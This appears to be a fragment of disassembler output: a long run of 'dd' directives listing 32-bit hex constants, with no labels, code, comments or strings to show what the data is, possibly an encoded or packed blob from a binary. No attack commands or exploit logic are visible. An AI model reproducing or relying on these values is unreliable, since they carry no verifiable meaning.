		dd 80A64B28h, 6212B551h, 3A8DE888h, 2F020730h, 31E8F1E9h
		dd 7B0946B8h, 8021036Ch, 0CCF815Dh, 4A29562h, 0AD8905DDh
		dd 27F25538h, 0FC10140h, 19B27A0Eh, 0F5E01F65h,	16E1F47Bh
		dd 17AA111Dh, 23BD06BFh, 10C512Fh, 8C9CAB58h, 7559CE31h
		dd 72F7ECD0h, 3FC3D997h, 1A610B0Bh, 18EDC105h, 70E9CD07h
		dd 826BEC69h, 74A0A224h, 82AC62D2h, 5B64157Eh, 86A1AF84h
		dd 0A3291C4Ch, 70B8EAAFh, 1EB206F9h, 6094E280h,	81BABA4Ch
		dd 790548ACh, 0F46CFAEDh, 0D722E24Fh, 0EAB224BFh, 0B4930AB6h
		dd 34509376h, 0B6EC49A0h, 10A8EA4Fh, 3404FEA2h,	0E92098EBh
		dd 94153D25h, 3EC10525h, 824EB05Bh, 66D735B9h, 0D4DA2E74h
		dd 3765ADB8h, 0D2B6FE93h, 401D2354h, 29275FB3h,	55A56AD7h
		dd 0E4392438h, 8C0D59BDh, 0FDBFD995h, 67875E95h, 5E329568h
		dd 0B4D8161Eh, 5B5C257h, 0F5005FA5h, 6B271D9Ch,	68C50A29h
		dd 84575806h, 12EFB2E9h, 637D49BAh, 0E74777E1h,	0CF44C3EDh
		dd 548836E8h, 55D7F709h, 5591C4BDh, 9DAF85F5h, 0D45B7654h
		dd 8BBBC2C4h, 55FF400Bh, 0CBD8F780h, 29010880h,	0FC440928h
		dd 0B3B36DF9h, 78148600h, 0EA53BB21h, 854F4BA9h, 912287B1h
		dd 7F0F924Ah, 8AE92681h, 515A0C3Eh, 471F3DB0h, 111360E4h
		dd 6DBC4A85h, 0E0D4C9DEh, 0F6847848h, 0D49A6725h, 0D2561FB5h
		dd 94882A4h, 0EB0680D5h, 4167826h, 5BDD8908h, 84E5AF21h
		dd 0C5ACCCD4h, 0C259582Eh, 0B7983A85h, 4EB0FC88h, 2D15E90Bh
		dd 9D6C2501h, 0B65EE9B0h, 0C4BD5125h, 3B5C7C34h, 7B9F7E41h
		dd 0DC50146h, 3051EA56h, 301392DFh, 0B1132935h,	0B5FB79A0h
		dd 43AAE2C8h, 545C992Fh, 984B8BE3h, 3178C96h, 28AF010Bh
		dd 9C5E86F1h, 9DCA9425h, 2567E90Bh, 37C01D34h, 8CE9C80Fh
		dd 62D3B9D7h, 9BD8Ah, 108B6B11h, 2F23481h, 16C9FE0Dh, 8123Fh
		dd 0FBA58F8h, 0F61704E7h, 8217F201h, 0E69752A2h, 8FF52712h
		dd 52DF20A3h, 398036B2h, 0C281B1CAh, 0E9EAD0E5h, 1CF42C85h
		dd 822DAA34h, 5DEBED60h, 9F90103Ah, 2BC9178h, 0A0B20472h
		dd 0A810CDA2h, 0D3F705E7h, 0FD05DD87h, 0AC361A7Bh, 0C0265132h
		dd 18DAF26Eh, 0CD6171A5h, 0AC1716D0h, 7176BF68h, 758F136Eh
		dd 0EBD4EE29h, 0F6410A12h, 0EC1FD93Eh, 0F9226A25h, 47ADEF18h
		dd 1F7A3DEDh, 20C696Eh,	582DE28Ah, 6CE91922h, 20C3A727h
		dd 55B292FAh, 31D0F70Eh, 71095AC2h, 880DB43Bh, 0E91757EBh
		dd 0E9F8FB8Eh, 397CCFA2h, 5603D524h, 0D929456Dh, 7FEE0CDFh
		dd 0DB578C92h, 2E98A6A6h, 0B6AD1242h, 0A28E2828h, 1AE0B4Ah
		dd 0A9415392h, 24093A85h, 588E5E50h, 782472B5h,	940C8D52h
		dd 92D7C21h, 26C60519h,	702713F6h, 68530C10h, 5FBF7042h
		dd 52D4E565h, 0E0C83A84h, 34D10FE1h, 206B3E2Ch,	0C3BB0BA0h
		dd 825FF454h, 0DDBCFBC5h, 1F03A550h, 3B5A3719h,	4179374Ch
		dd 35C37A0Ch, 540C251Eh, 20B5AD0h, 8709B119h, 0CD60FD32h
		dd 18D82541h, 0AE3EF046h, 20050C0Eh, 1750540Dh,	2707D4E0h
		dd 0E3548FE9h, 16A1BF83h, 0C78191EDh, 0BA6367ECh, 0E960F52h
		dd 0EF800BE0h, 6FF07E9Bh, 69E4895Ah, 0A1D1BF5Dh, 29CBE989h
		dd 0C6C000F9h, 13234EEBh, 38CE2915h, 42097A63h,	4D3AB7h
		dd 3F21A665h, 98D0A065h, 1E79265Eh, 0AAFE1203h,	0FE25C272h
		dd 0CAC1901h, 29FB0419h, 3DE23AD2h, 0BDBD9C4h, 0C63D459h
		dd 554C8F4h, 0CD73EA01h, 6A572D68h, 0BC5A4EE0h,	98FEA769h
		dd 5600DFCFh, 442D5E47h, 37670F79h, 794F801h, 4913E90Bh
		dd 77EB327Dh, 831C5C42h, 235F8C09h, 0FAB3014Ah,	4F3B003h
		dd 0F91E150Ch, 0EFE3C037h, 655C1D09h, 0D45CEAh,	8602A5B8h
		dd 0BFC051Fh, 563A9773h, 0B935815Fh, 35C04822h,	0CD4F05A8h
		dd 0E953E927h, 792D0079h, 293C6D4Ah, 456813D8h,	0F9ADCC49h
		dd 54DE7500h, 8106EBC1h, 52F403CBh, 0E94B337Eh,	25551DEAh
		dd 5CB06E8Ch, 5CC0F840h, 0B980E57Eh, 0C14BD85Ah, 983C6397h
		dd 0FF2141Eh, 0D2F74A08h, 0EBEE220h, 1EC172AFh,	49D51DFBh
		dd 0F67F030h, 13B69C4h,	0C5AC0136h, 0F1457446h,	4E9F4B5Bh
		dd 0DD6ACFDh, 2CA01B1Fh, 2D9BD480h, 59588590h, 83B9CAFBh
		dd 33109FE9h, 38D04514h, 3F5885A1h, 0EB13310h, 1400133h
		dd 0CF43970Dh, 7A5825D8h, 2D51004Fh, 48BA30B3h,	4BFA2C05h
		dd 77B97F48h, 502C2EFAh, 0C42DB9A7h, 0E86202Eh,	12FF084Bh
		dd 0E82AEBB8h, 2DC2045Ah, 6E5441B9h, 0E16E7AA8h, 0DDA282F3h
		dd 0E062CE08h, 1F7535A3h, 4445A513h, 0FB0FA2E9h, 90056E40h
		dd 90143909h, 9FFF70A5h, 0D751BB74h, 54108B29h,	0DAF61A6Bh
		dd 0B0936304h, 4C5AD028h, 0B7B0A352h, 0FA0B882Eh, 4794FDE9h
		dd 0F825B876h, 302D1314h, 692C76C3h, 0E9878E79h, 120E42AFh
		dd 1020CBFBh, 0A84BD9E5h, 7900D6E5h, 8AD3449h, 16C37781h
		dd 0B1F752CBh, 0EED23E37h, 9A4D0A1h, 285C91BDh,	38F1C620h
		dd 0F5EC7448h, 0BC132D01h, 706D68E9h, 0EAC14628h, 302E4A20h
		dd 35174596h, 0DBE78C9h, 0AE08DF30h, 0F8429318h, 0F8E0FAE0h
		dd 95721FDFh, 30631D25h, 670B6856h, 9D5D799Ah, 69344B14h
		dd 0F14E4DA3h, 22F77EC2h, 0E64EF917h, 0F6688390h, 0A2EA8457h
		dd 1BA992B6h, 1737FD92h, 31308E03h, 5BAD55BDh, 41B3016Eh
		dd 2E083A13h, 0F68BED04h, 0B51EB200h, 0ED0E8093h, 0AED5288Ch
		dd 4308B2C5h, 0DBF70E90h, 0CCFA97FDh, 611443FFh, 20808BDh
		dd 5BC04BC6h, 6C8A2F01h, 9104D0Ch, 0A3A06F1Ch, 20185BA0h
		dd 0A60B894Fh, 0DD2A1D7Ch, 0D127AC07h, 13F4DAD8h, 4EA219C9h
		dd 1A5073Ah, 0AD4ECA0h,	95603568h, 0E4E446Fh, 25FF491Fh
		dd 2042B45Dh, 5897CE55h, 1E70BB6Fh, 29FA0C8h, 0B7F1032h
		dd 0C9F55120h, 464C837Bh, 4CDC05FFh, 81EB6563h,	0D724BE01h
		dd 1273E284h, 8CEAD86Eh, 0D9A1482h, 4731BD1Ch, 0C7BA1CCFh
		dd 5F8B70DCh, 68130A1Ch, 334372h, 8EEF9DF7h, 19EC19C4h
		dd 7982320Bh
		dd 220A3D2Dh, 16BAD8C0h, 0C06F0158h, 0A0C90F96h, 0EAEE4A31h
		dd 5079A76h, 0ED4C2B05h, 4144BC74h, 71CA7F07h, 23E6E909h
		dd 4D2CE3C8h, 560EAD27h, 685941C5h, 646CC230h, 26E91380h
		dd 5D1AE262h, 5A597401h, 0F69DD9F0h, 294D5815h,	0FF02F693h
		dd 404B381Dh, 4ED168ECh, 87F73572h, 0EA7C39A5h,	0CF76B305h
		dd 0F54459E1h, 1E58080Ch, 0C66102FCh, 0DDFFE93Ch, 5424CD58h
		dd 0C110B75Bh, 0FC259D3Fh, 5E4BA558h, 70D8CCA9h, 7295A468h
		dd 0B6C79757h, 0C5875C25h, 0FA7AEEEh, 1375F676h, 0FB71744Eh
		dd 8181284h, 3910371Ch,	831328E9h, 58462861h, 492D557Fh
		dd 25BDE95Dh, 44AA3DCh,	8F249DBDh, 28A4C02Ah, 5C5EBB66h
		dd 84013E9h, 731EC05Eh,	4D05470Fh, 4A7B7B90h, 766FEB2Fh
		dd 0E8010A1Ch, 0C9F416E1h, 0FE7DA79Ch, 6BBE5C4Fh, 0E082AC6Ch
		dd 0A6D3BD01h, 6D3C5727h, 11A004A0h, 2FBB38C0h,	0B82B140Eh
		dd 9242758Bh, 71DA5DDFh, 4DDCCA03h, 104C62D8h, 2D9A03C9h
		dd 0F125303Eh, 0C57F7544h, 3690983h, 2C838E5Eh,	0DD54B231h
		dd 9FCC9C10h, 6B132E2Eh, 1919408h, 0E068CA31h, 54CD2A1Eh
		dd 60297AD0h, 308EC618h, 0F1EC0AC6h, 68498C0Ch,	3A80C0Dh
		dd 0E973867Fh, 3E00DD61h, 4A2198B8h, 4A37684Bh,	0FF063050h
		dd 1201012Fh, 0A39F381h, 0EBD8348Dh, 0EDE71787h, 4F9CECB6h
		dd 3305DF1h, 3270003Bh,	731F2DC8h, 0E09764F7h, 0ACE89A15h
		dd 436816C7h, 3474BA2Fh, 383CB2EDh, 95301AFh, 0FDA84A17h
		dd 0A661EE4Ah, 3C29AF35h, 0A61B8604h, 71FDFC33h, 680F53F4h
		dd 565C1F02h, 35E31300h, 0C216760Dh, 0A8071AC6h, 0B18447C3h
		dd 0CB0D6823h, 0AA2202F9h, 60520B98h, 0A02A2B20h, 3D432151h
		dd 6B96115Fh, 1C33AA45h, 46B2F7B6h, 0CDEDA01Eh,	5E301703h
		dd 4A1BBC3Ch, 3FA37200h, 0D6FAE90Fh, 0DE5CE43Fh, 3E6C182h
		dd 81EAFC2Ah, 0C8BD5546h, 0C03A9AD3h, 9FB2E915h, 0FA281000h
		dd 0D12D305Bh, 7E36F05Ah, 800E0B52h, 9876E9EBh,	0B151D380h
		dd 0E4D9F626h, 0DFD0C9D1h, 0D298FAEEh, 7B93D5Eh, 0E5CCF973h
		dd 1FE91803h, 0BEF22F09h, 3D7B2B1Eh, 29839EC9h,	6B302E4Bh
		dd 38B1EC06h, 0BA4A6E27h, 0B851BA2Ch, 6A6295D8h, 83D1CD54h
		dd 0AFC43105h, 303635C2h, 10063A05h, 3BBE72FCh,	0FE31050Bh
		dd 0A8F0215Fh, 5357C18Ah, 0E0E367BBh, 131FBF08h, 7BDB97h
		dd 0B104AD19h, 42952925h, 0C8080B2Dh, 80508F37h, 7613A768h
		dd 33A712B9h, 2158EC03h, 74BE510Dh, 984A1C0Bh, 0F5F18541h
		dd 85F30717h, 6017B192h, 5C646DDBh, 0D0BBED17h,	6476C503h
		dd 0C11E2C14h, 33FC79C5h, 6F8C531Eh, 1205307Bh,	73D5AC3h
		dd 0E9595598h, 0C17ECBF0h, 1375BE82h, 62204009h, 5E3F1810h
		dd 1A1F9645h, 0C3E33B50h, 3F206841h, 18A412Eh, 79A5B5h
		dd 131C355Dh, 3316394h,	0EE190A56h, 8D1CFA76h, 19F2F2Eh
		dd 8EA283Fh, 4E140CD0h,	76539DD1h, 66D02800h, 2C5B5A09h
		dd 3AC7F667h, 2D525C79h, 1D58C55Ah, 5358D7A3h, 0DC3DFEB7h
		dd 0E86B9931h, 6DFDA51Ch, 223E0881h, 0BA609D62h, 0A9574FE0h
		dd 0A0395299h, 9B2F8968h, 1044048Eh, 85CBC7B4h,	0C9D440D9h
		dd 19F0637Ch, 0C1D1F71Fh, 82F9069Eh, 1930CEDh, 8DBC6150h
		dd 0EDC4DD2Fh, 3CFF656Ah, 70BBB046h, 48EC40h, 0DEFE37B8h
		dd 19DA2DF7h, 4C95984Ch, 5D911623h, 0CDFE5560h,	0EC880E50h
		dd 0AB96D4F6h, 27D2B71Ch, 74F30D0Bh, 0CBC88941h, 294D3769h
		dd 1983A165h, 8793AE62h, 0D451E4FEh, 10E6A952h,	0F15A3F81h
		dd 0D7853A56h, 11695C30h, 3F5F4884h, 0EE18B338h, 0F930C63h
		dd 0E931510Bh, 0BA774067h, 5DAE167Eh, 48B0F2EFh, 9EC09A6h
		dd 3BB7E31h, 1CB3E147h,	0B502E8C5h, 0C12EFDB1h,	97B7D067h
		dd 0AF07C5C3h, 0D1B54341h, 0E0503692h, 3E1A2C5Bh, 0EA2D5E93h
		dd 2871F089h, 0CFBB5792h, 0DC5F2F1Ah, 46DFF244h, 0E95716D4h
		dd 59B3A0B0h, 0D6B55872h, 9124A1Ah, 45F9215Ah, 0D243133Ch
		dd 0D9C2CD40h, 0B764B050h, 680B0059h, 38F3E804h, 9EA599E4h
		dd 0B83B575Ah, 0A4ECD60Ah, 0FE29C185h, 257D808Bh, 76186578h
		dd 0AF094693h, 0C06FE963h, 4A470901h, 5301321Ch, 40CAB6C3h
		dd 0A61F1875h, 56DD0002h, 7C840558h, 0E917D3C5h, 6E204592h
		dd 5F76B8C7h, 590B812h,	39144605h, 2DF864C1h, 895F0741h
		dd 0E3B642Fh, 23E2CBE3h, 85C00112h, 9E952873h, 5BBFFE1Bh
		dd 0E23AB866h, 2DBAD4BAh, 46EB83D1h, 0DE9132Dh,	487DB298h
		dd 48764D9Bh, 0FE712595h, 0A8E79244h, 0AE7F39AAh, 3000BC28h
		dd 0E912F062h, 0A84E5A11h, 768DA59Ch, 0CBA7A22Eh, 340C241h
		dd 7CB342E8h, 25050BA5h, 0C85D6C0Ah, 3F07A28Eh,	4256F1Eh
		dd 0A805B240h, 11411214h, 0C3E77CA2h, 708FCAE4h, 13F10B0Eh
		dd 59E689E9h, 0B868057Dh, 54EA3146h, 0D6F22F58h, 0AB22C0DCh
		dd 0DAF7421Bh, 9819695h, 7400A45h, 82D3AC70h, 0FBA528ACh
		dd 746B2661h, 2D224965h, 638B432Dh, 0AD2510DCh,	32DC92E9h
		dd 37B43039h, 0FF08CF0Ch, 29B4D40h, 0E97DCA70h,	185524A9h
		dd 2768D0E3h, 6C24421Fh, 5A00134Dh, 3A94AA4Ah, 0B2C89789h
		dd 8C252EEFh, 0EAEF005Dh, 48D461CCh, 0DC20B936h, 4D72DABFh
		dd 0F350A944h, 3BD44104h, 904950A4h, 54B30A06h,	7E155A9h
		dd 0FBCFA1D7h, 8F0DC50h, 5207CABCh, 0D423EA88h,	61E3AA5Ah
		dd 0E16F2813h, 0A56A7CBBh, 0CE8676EDh, 0C4E93F2h, 59E54Bh
		dd 98DEB8FEh, 5D7C97B4h, 27CD0FCFh, 55091556h, 30E80766h
		dd 220FD90h, 0B858B7F2h, 5BACD9Ch, 581C7BBBh, 59C10800h
		dd 0C05013D3h, 0CD7EE994h, 0A80BB853h, 7D396945h, 0C2EB62Ch
		dd 0EA23E93Fh, 51FF658h, 5D402F49h, 0A09F2793h,	96A5F730h
		dd 0D9AEE912h, 0B05ECAE7h, 253AEBBBh, 337F2E3Bh, 0CA45042h
		dd 6A2F4EF6h, 9FC4509Dh, 2BE9C848h, 0AFBCD54Ah,	0BD776AC4h
		dd 5F8B17FDh, 3DB62EFh,	0BE1E3850h, 34890543h, 820FFE4Eh
		dd 60D33E4Ah, 1C25DD60h, 6370D582h, 396CAF2h, 0D4135E13h
		dd 0EBD301ECh, 2C6AAED9h, 5B2568D3h, 5295B128h,	4E1CEEECh
		dd 645A812Eh, 493208D5h, 0C113911Fh, 546E8E3h, 0C0FC7E64h
		dd 2D2FCCEBh, 0EC5F31A2h, 0F19420CDh, 17C864C5h, 0CE2E10B3h
		dd 0E92302D0h, 102BB14h, 0B9C6D7FAh, 0E9BF7E97h, 0EA01C667h
		dd 17D96802h, 0FC4B2233h, 6866A03Ah, 0E9010B6Bh, 0E99AC56Eh
		dd 214AA8C2h, 0E2851377h, 0F83103CEh, 816C793h,	7824E68h
		dd 3F9B4589h, 0AFF1162Fh, 7C8BAB0h, 0DB215CCCh,	0C2F6E427h
		dd 71127E7Ah, 688185ACh, 0B6FC4ADBh, 4E10CDC5h,	0ABE5C288h
		dd 90F2AAD5h, 0E99A2CD2h, 0E81A9835h, 0A84EDCBCh, 0B3BAB438h
		dd 9376909Dh, 0ED99C0AFh, 0A090719h, 225B99E9h,	0F6E642Fh
		dd 0B86D2C4Ch, 0D20BB20Bh, 0C2EFD820h, 762E243Ah, 0B5FAC05Dh
		dd 0F9C77673h, 0B5B2D34h, 3CE2684Bh, 20820830h,	891EE727h
		dd 0EA098089h, 5E630408h, 4412044Ch, 47FA1333h,	0B5FD388h
		dd 0BE984C55h, 20E950ECh, 75D6ABBDh, 5F270745h,	99BC6102h
		dd 0CD62A45Ch, 76B8D5DDh, 144A0B68h, 3B5EC78Ch,	81000556h
		dd 9E2F49F5h, 0F234E951h, 0F9FC26A3h, 46EBA72Fh, 33BFAE9h
		dd 0FB81E9ACh, 522F1B36h, 0BD2561DAh, 74A8A322h, 0B3AF8439h
		dd 9CE98266h, 0BD1C534Ch, 0BECD7C92h, 680BB09Eh, 0DDB028F2h
		dd 0A4245AF5h, 0F00C317h, 5E85BA5h, 6F5917B8h, 7B2501Eh
		dd 92A4935Eh, 55EE9DACh
		dd 432AFF26h, 5C69E912h, 0A825FB2Ch, 3066DB8Dh,	0EC39A4Ah
		dd 0E9E66853h, 26B94A2Dh, 0BBCE01B8h, 40301D29h, 0F57E004Eh
		dd 802D5860h, 975CF0Ah,	5652DA03h, 0EDC789E7h, 80A931EFh
		dd 0C5EC514Bh, 0C18E685Fh, 62F734A4h, 0C99A003Eh, 2FEE435Eh
		dd 0C4E1D12Ch, 0D7334C01h, 2F65136h, 9FE81337h,	0B93B632Bh
		dd 13F0A63Dh, 8003803Eh, 23E2816Dh, 128E2557h, 0CF57562h
		dd 9009767Eh, 93504F6Ah, 39CD795h, 3B8BD529h, 50C09215h
		dd 5F9CB807h, 7DB47B1Dh, 0A43ECEB1h, 6F6B7F9Ah,	7C834210h
		dd 407B0EC8h, 0C0200948h, 0C45A881Eh, 89C9C1E5h, 58DE884Ch
		dd 0D78083FDh, 317BF768h, 80FEEA59h, 789ACA81h,	0F0DBE540h
		dd 0A1571A6h, 7B1BE97Eh, 0EB3D92ECh, 10EC2010h,	304C2C04h
		dd 90226h, 0C625793Bh, 0E925DA01h, 0B346801Fh, 9D442CA1h
		dd 0F5E90178h, 0E6012EF1h, 0B252DDF6h, 0D28741E6h, 0CA3A283Bh
		dd 610B2156h, 487C68AFh, 214BA023h, 0DE55E9FDh,	9C270309h
		dd 0B76D41FCh, 0F6539430h, 0CE4E4DB0h, 8142E59Eh, 6935DB7Dh
		dd 21731FEh, 3430D3E2h,	4483EB37h, 972A5C3Dh, 65420712h
		dd 0E189416Eh, 73F0F073h, 0FB66950Eh, 38A7E20h,	0C0A6B652h
		dd 9C1304EEh, 0FBEC6155h, 291ADA1h, 546F425Fh, 0D0B90119h
		dd 211BE301h, 8A056A67h, 61BCF22Eh, 0AA2194E4h,	85009EC9h
		dd 3730BBh, 0C14B0A6Dh,	0E3D102EBh, 3080AD4h, 5F032AF3h
		dd 0BE0C0768h, 0C02B9854h, 9D6107CBh, 0B418BCFBh, 12AA0C7Fh
		dd 20588D14h, 0F65DB393h, 2CCBC4A1h, 6063BA00h,	0B3905E43h
		dd 92C09452h, 0DE1AB80Bh, 42C32122h, 1283BA32h,	3D07B1E8h
		dd 0AA1A9CC3h, 0A074AB9h, 0EA254708h, 7D89A310h, 15A5ED2h
		dd 4C0E65BFh, 1AC22074h, 43136F18h, 4C573D18h, 105E4DA4h
		dd 0E24208DAh, 389B72Fh, 5D967D5Ch, 0AF2CD583h,	0C8037027h
		dd 6EA6A604h, 0CE492A02h, 34EED700h, 213B6F57h,	4E07FA46h
		dd 0C174BA65h, 9D0407D5h, 9FFC8850h, 0C4F363DBh, 0EE361660h
		dd 58F8646Ch, 4E02662Eh, 29F4F522h, 9508F0D4h, 0BC551D2Dh
		dd 0EA4590CFh, 7F0BFD57h, 8FD109E6h, 4113E1CCh,	812F212Ch
		dd 70C4C616h, 754F28B6h, 294FD0F3h, 0C8432148h,	2716E115h
		dd 3D8146E9h, 8DDC15Eh,	77656AE5h, 647AED3Bh, 92EE071Ah
		dd 9ED66419h, 0D7710325h, 6534245Ah, 0AED9535Ah, 0EDC1830Bh
		dd 91555C29h, 0CF60D5F7h, 112213E5h, 0E440FBC8h, 8D0634C6h
		dd 0FC014E25h, 2A084187h, 6B66632Ch, 3701D321h,	88E5C145h
		dd 27CC05BCh, 5A011756h, 8958FB46h, 0CFD402Fh, 0D064D08h
		dd 0B44E5501h, 62CB0563h, 22D1BE0h, 299A5807h, 3FDCC531h
		dd 94EFD7C4h, 88A9D924h, 3A872DE7h, 0ABF08D07h,	0AB72A63Fh
		dd 0F8DCCC95h, 14CB21Dh, 0FFE18149h, 4061287Ah,	0D7F4A6E7h
		dd 2B4DFA75h, 0DF592756h, 0BD687C10h, 927F1F4Dh, 29127FEDh
		dd 6D97AEF0h, 0BA2400F9h, 5A6306D3h, 0BB0F9123h, 0CBEB107Eh
		dd 6C1F2434h, 291B02BEh, 0D122530h, 14011C08h, 0A8684DE9h
		dd 3D1FF94Fh, 16911921h, 0D92AC1DBh, 82A13E86h,	9924453Fh
		dd 1F67AE53h, 1C584A2h,	534D5B68h, 4109B6EAh, 0DD8EC680h
		dd 0C1F70A32h, 0A3066B1h, 80879550h, 8757F754h,	37ABE901h
		dd 7190D5DAh, 6947F701h, 348B4B99h, 0F45CAC2Eh,	1EF77683h
		dd 0E78C479h, 0EB161B77h, 0ED9AC79Ch, 6A4AB711h, 0D7630B32h
		dd 843EDC65h, 1B2E688Bh, 532D19E3h, 9C84DB1Ah, 0B76BA4A3h
		dd 0FFD5F112h, 32A06A53h, 0A9E85A21h, 9C8A8B40h, 0B1B580B9h
		dd 0F1801CFCh, 0B0C9DE77h, 0CB209F0Ch, 0E740BD98h, 88A29168h
		dd 0DC2D7329h, 84A536Fh, 0DAEE5164h, 0C8D5A00h,	24563396h
		dd 0F26182EBh, 3BF58DA0h, 3BE1585Dh, 0D69E9C04h, 0EBA2994h
		dd 1E12978Eh, 86CA0C55h, 2D40BE22h, 0B83FF754h,	1ED6F1C7h
		dd 0C7CA0B8Ch, 450BC66Dh, 412347Fh, 0ACC1F770h,	99073F36h
		dd 60A1398Dh, 7BAA935h,	56BBDC97h, 0B7535100h, 28E6B577h
		dd 2F2695FDh, 214BE93Ch, 0B24F44F9h, 0C531D733h, 0E7BB8E9h
		dd 6714B984h, 0A87D3912h, 23D28457h, 56D16802h,	150BEADBh
		dd 0A780F51Eh, 333003DFh, 890A7A90h, 92207039h,	0AA48F100h
		dd 27FB0159h, 0BA0992E9h, 0A78EA2F5h, 4B2F239h,	0EA587505h
		dd 16A2AB79h, 16BA8A96h, 0D0EEE8D6h, 3437452Ch,	80B0FE97h
		dd 16E09856h, 287014E9h, 6999D49Dh, 0FF4A73A3h,	6B9BDB10h
		dd 0AA5F5DC5h, 69C0B704h, 0ABB15100h, 0BA276866h, 0B49B4808h
		dd 0E1303E9Eh, 82515812h, 71755913h, 3B7669FAh,	0A8BB1C25h
		dd 50E18059h, 0B802CF23h, 29DF40D4h, 0E6C2C351h, 0ACE4DA0Dh
		dd 0ECE14A21h, 0BD551FAAh, 427513C6h, 5B4D9012h, 0D2CE3611h
		dd 1BCC6812h, 2DBAFA35h, 0ABB80512h, 49C578F2h,	7BDCF774h
		dd 3F6404Dh, 0B3141605h, 29A4A83Bh, 81735A7Ah, 1934860Bh
		dd 48E90F00h, 153DDEDh,	237E491Eh, 79002B55h, 7B1F5117h
		dd 0AB2FFEE9h, 294284DDh, 0E17D87CEh, 0DE516C40h, 9388664Ah
		dd 64256136h, 0D60EF07Bh, 3883FB14h, 0B965A0EFh, 0CF012C48h
		dd 0B20822CFh, 0F00B2D22h, 0F55229D4h, 0A26C3242h, 0F1DEB72Dh
		dd 0F85C942h, 5DE8B020h, 0F2FCDC95h, 7C27AFD1h,	0AF6EC4A0h
		dd 5D0FEAF2h, 0BF695451h, 81936178h, 0AB4D06EBh, 4153ECB9h
		dd 4E4D3273h, 0EC93F429h, 2ADBF9F6h, 3E02C456h,	582EFE02h
		dd 0E6068935h, 0A879B715h, 0B2DEE958h, 5E6812BCh, 8067FF0Bh
		dd 793BF9A2h, 0F0FBFF9h, 0AAA42649h, 5BEE370h, 41FA4B5Dh
		dd 0C58BAF05h, 0CD03CDAFh, 0FE286F15h, 27D06413h, 3B5B0434h
		dd 173CEA40h, 549720B9h, 29E049D7h, 59B763CFh, 0AE5D4530h
		dd 3E907BE7h, 0FACEB8C5h, 0E3B2454h, 5D564922h,	711BC780h
		dd 25E94E9Fh, 0B32532F0h, 0B709EB18h, 4BED55Dh,	1D061230h
		dd 261F7EEBh, 0AF07A8h,	24DBB951h, 492826E2h, 0DF5B8141h
		dd 82CE47CDh, 499450h, 8FB85053h, 4A133B1Fh, 0F6BC7609h
		dd 38F48A9h, 639CBA27h,	4F5ED8F3h, 0BBB4AEFDh, 0C776AD22h
		dd 0C4EB909Bh, 0CEBA294Fh, 50F8D14Eh, 0C44F17D3h, 5BA0E1A8h
		dd 42B58268h, 7F5B7739h, 0CAABBC92h, 0BBB1622Ch, 0AF5C05AAh
		dd 0E4185AB2h, 934332C3h, 29D09Fh, 540D8F7h, 4E8215ADh
		dd 998050B7h, 667DCBB3h, 406836EAh, 0EA162619h,	16FA293Dh
		dd 8F40AB7Bh, 745DBE56h, 9D027B15h, 0C7251EF6h,	0D4E98526h
		dd 57DB463h, 88587D00h,	0EDBF5722h, 62E23E47h, 1E77F8A7h
		dd 0A530BD15h, 329C67E9h, 0B60FD720h, 0A10F33Fh, 820D9CBh
		dd 3E7BE912h, 4BCF258Ch, 17F89A23h, 62690EB4h, 0F7512C2Ah
		dd 0F837684Eh, 757AFF72h, 0A62093EEh, 8EB800D3h, 4865B121h
		dd 78FAD0F7h, 72FD2FD2h, 9FCDE2B4h, 0F9F47D8Bh,	49617h
		dd 0FB5D6AABh, 0BE8131ECh, 5C1DFD6Ch, 905D3C0h,	0A6E2F2ADh
		dd 62C859DDh, 0DE09C2C5h, 0EFFA0DF3h, 8FAA880Fh, 0D60909F9h
		dd 2F140AC0h, 0CD4D3D2Ch, 3E0C6400h, 0BBD83136h, 1050383h
		dd 0D9DF0AE0h, 3B01C4D7h, 36262BE7h, 9942E242h,	504D180Bh
		dd 48CC7288h, 0DB2DA1D1h, 0D20BE94h, 74B7C77h, 0AE19FAE3h
		dd 78CB604Ch, 6348F259h, 0C27C0410h, 2EAEE82h, 0F821E9E4h
		dd 2A6C56E9h, 3C3BEC30h, 0CB0F4B6Fh, 25024FAAh,	4C13D568h
		dd 22691BD8h, 4D0D2EB9h, 32CC6D49h, 0C002E0Dh, 0B49783E9h
		dd 675FE900h, 2460A5AEh, 0F50B5341h, 4096E903h,	0EEEDD107h
		dd 0A168647Eh, 274E85FAh
		dd 0D698B4D4h, 27864269h, 7320DF90h, 585F3C1Ch,	5CAD6801h
		dd 6E5D28B5h, 9504EFE2h, 0ADA8F2BEh, 5BCDF9Ch, 52B54DCEh
		dd 8B9E2AACh, 7330D516h, 0C5882E9Fh, 517C17A3h,	2DF70C0Dh
		dd 0A237F617h, 22B6765Fh, 7AF3B6AFh, 0BD8876F6h, 0BB680457h
		dd 0F8B59939h, 98978B35h, 27685132h, 1D187260h,	71B7CB4Dh
		dd 18FC241Bh, 3BB010C1h, 8AFD525Ah, 94FFDA27h, 17D7FCEBh
		dd 90FB15E9h, 451A722Fh, 0E4C11972h, 7EBF7DAFh,	35FE5D8h
		dd 0E92F9173h, 0B313D1CBh, 808C3440h, 702DE3B1h, 84EEF2D6h
		dd 0B41406B7h, 2591204h, 0EA81BE1Eh, 4093EA0Ah,	3E3AB158h
		dd 0E98557E6h, 236BD3Fh, 1D502DC7h, 0F24E6305h,	4F53DFFCh
		dd 68E182A6h, 5D546AF4h, 0D00DA87h, 2BD109Fh, 0EF60F302h
		dd 71D5FD01h, 0E9EB4119h, 2D7874DFh, 0E43F0C00h, 5114053Ah
		dd 4E80F389h, 3B096619h, 0D70CF781h, 0AA0D9A58h, 0B1560C4Ah
		dd 0D11A4F06h, 280B4217h, 32715001h, 0C50040B8h, 303D86C4h
		dd 0B0ACCBE9h, 5842714Eh, 0E3F83FC0h, 787411E1h, 8C02C455h
		dd 0F99094A3h, 0A7155F00h, 0C42EE97Ah, 4FEE3D6h, 0BF23545Bh
		dd 0E02E4C29h, 0CAA68DABh, 6D969E90h, 0CE5932ECh, 7690182Ch
		dd 0D4F78007h, 0EF52CFFEh, 179D41C1h, 0FD3CB105h, 3F4CC503h
		dd 62083F50h, 621E14A6h, 24BD06C7h, 13F506CFh, 82179F39h
		dd 25381B02h, 62C529D4h, 8552C001h, 407FB1F4h, 3F685357h
		dd 33AE3A0Ch, 2735E5Bh,	0E95D8365h, 0B4361h, 0F737DEE5h
		dd 5FEDF62Ch, 0D15E20A7h, 0D8FA40E0h, 846B5E97h, 0F8DDE956h
		dd 0C2FE0E78h, 6D34C80h, 0B6A7FAAAh, 0AC4D16AEh, 50680976h
		dd 1ECC6607h, 84DB0566h, 12D96BE9h, 11D832F1h, 2A4A7CABh
